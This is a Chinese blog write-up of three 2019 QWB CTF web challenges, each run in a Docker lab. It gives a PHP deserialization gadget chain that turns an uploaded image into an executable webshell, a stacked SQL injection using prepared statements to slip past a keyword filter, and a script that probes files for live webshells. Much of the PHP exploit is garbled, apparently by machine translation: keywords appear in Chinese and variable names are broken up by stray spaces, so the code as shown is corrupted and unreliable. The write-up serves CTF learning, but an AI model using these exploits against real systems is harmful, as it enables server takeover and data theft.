2019强网杯web部分题解
0x01上传
Docker环境:https://github.com/CTFTraining/qwb_2019_upload
刚开始正常上传图片,可以得到图片马路径,但是文件后缀被修改且没有文件包含点。
通过dirsearch扫到网站源码。
拿到源码首先需要查看配置文件和路由
,看了一眼配置文件,cache.php无缓存文件功能,不能写入一句话木马读取。
查看TP5 /路由/ route.php路由功能文件,分析URL访问时控制类调用情况。
Thinkphp5框架是最新版,没有找到漏洞。遂跟进网站应用控制类下。
TP5 /应用/网页/控制器/ index.php的第37行
$profile通过cookie传入,存在任意类反序列化操作
搜索有可以利用的函数,发现TP5 /应用/网页/控制器/ Profile.php第43行
存在文件重名操作copy
在profile.php下文件存在get()、call()魔术方法可以利用。
call()通过类调用不存在方法而触发。通过可以get()向$this->{$name}传入upload_img方法,进行upload_img()方法二次调用,执行文件名重写。
在TP5 /应用/网页/控制器/ Register.php第58行,发现析构函数,检查为类变量可控。通过类轮廓调用不存在的索引()方法即可触发轮廓类下的__call魔术方法。
编写EXP
<?php
namespace app \ web \ controller;
使用think \ Controller;
//先传入带有shell的图片马,然后将生成的cookie替换当前用户字段,重新加载界面,就可以执行木马。路径可以在传入图片之后网页源码找到
.class Register {
public $ checker;
public $ registed = false;
public function __construct($ checker)
{
$ this-> checker = $ checker;
}
}
类档案{
公共$ filename_tmp = “./上传/ 122c4a55d1a70cef972cac3982dd49a6 / f3ccdd27d2000e3f9255a7e3e2c48800.png”;
public $ filename =“./ upload / 122c4a55d1a70cef972cac3982dd49a6 / shell.php”;
public $ ext = true;
public $ except = array('index'=>'upload_img');
}
$ a = new Register(new Profile());
印刷(用urlencode(BASE64_ENCODE(连载($ A))));
攻击链
0x02随便注
Docker:https://github.com/CTFTraining/qwb_2019_supersqli
尝试Sql注入弹出如下过滤情况
发现存在堆叠注入1’;show tables;#
使用预编译语句插入查询语句
参考官方链接:(编写的SQL语句语法)[ https://dev.mysql.com/doc/refman/8.0/en/sql-syntax-prepared-statements.html]
设置@sql = concat('sel','ect * from'1919810931114514`');
从@sql准备presql;
执行presql;
deallocate准备presql;
使用strstr过滤set、prepare。大小写绕过即可
高明的黑客
Docker:https://github.com/CTFTraining/qwb_2019_smarthacker
拉下网页源码,发现存在shell语句但无法判断哪个是真正的Shell
类似有assert、eval、system相关函数
编写脚本批量查shell
http://127.0.0.1:8304/xk0SzyKwfzw.php?Efa5BVG=cat%20/flag
import os,re,requests
filename=os.listdir('/var/www/html/src')
pattern=re.compile(r"\$_[GETPOS]{3,4}\[.*\]")
j=1
for i in filename:
q=j+1
print(i)
with open('/var/www/html/src/'+i,'r') as f:
data=f.read()
reqname=list(set(pattern.findall(data)))
for ret in reqname:
try:
command='uname'
flag='Linux'
if 'GET' in ret:
parm=re.findall(r"'(.*)'",ret)[0]
url="http://127.0.0.1:8304/"+i
params={parm:command}
r=requests.get(url=url,params=params)
if flag in r.text:
print('webshell filename is: '+i)
print('GET_name: '+parm)
if 'POST' in ret:
parm=re.findall(r"'(.*)'",ret)[0]
url="http://127.0.0.1:8304/"+i
data={parm:command}
r=requests.post(url=url,data=data)
if flag in r.text:
print('webshell filename is: '+i)
print('POST_name: '+parm)
except: pass
本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!